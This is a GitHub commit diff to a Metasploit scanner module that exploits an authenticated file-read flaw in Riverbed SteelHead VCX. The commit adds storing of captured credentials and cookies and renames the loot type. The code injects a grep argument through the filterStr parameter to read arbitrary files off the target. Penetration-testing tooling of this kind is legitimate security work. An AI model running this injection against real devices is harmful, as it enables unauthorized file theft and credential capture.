Skip to content

Commit de86c5d

Browse files
committed
add storing creds and loot name consistency
1 parent ea5db9a commit de86c5d

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -88,13 +88,15 @@ def run_host(ip)
8888
return
8989
elsif res.code == 200
9090
vprint_good('Authenticated Successfully')
91+
cookie = res.get_cookies
92+
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
9193
end
9294

9395
# pull the file
9496
res = send_request_cgi({
9597
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
9698
'method' => 'GET',
97-
'cookie' => res.get_cookies,
99+
'cookie' => cookie,
98100
'vars_get' => {
99101
'filterStr' => "msg:-e .* #{datastore['FILE']}"
100102
}
@@ -122,7 +124,7 @@ def run_host(ip)
122124
if reconstructed_file.any?
123125
reconstructed_file = reconstructed_file.join("\n")
124126
vprint_good("File Contents:\n#{reconstructed_file}")
125-
stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
127+
stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
126128
print_good("Stored #{datastore['FILE']} to #{stored_path}")
127129
else
128130
print_error("File not found or empty file: #{datastore['FILE']}")

0 commit comments

Comments
 (0)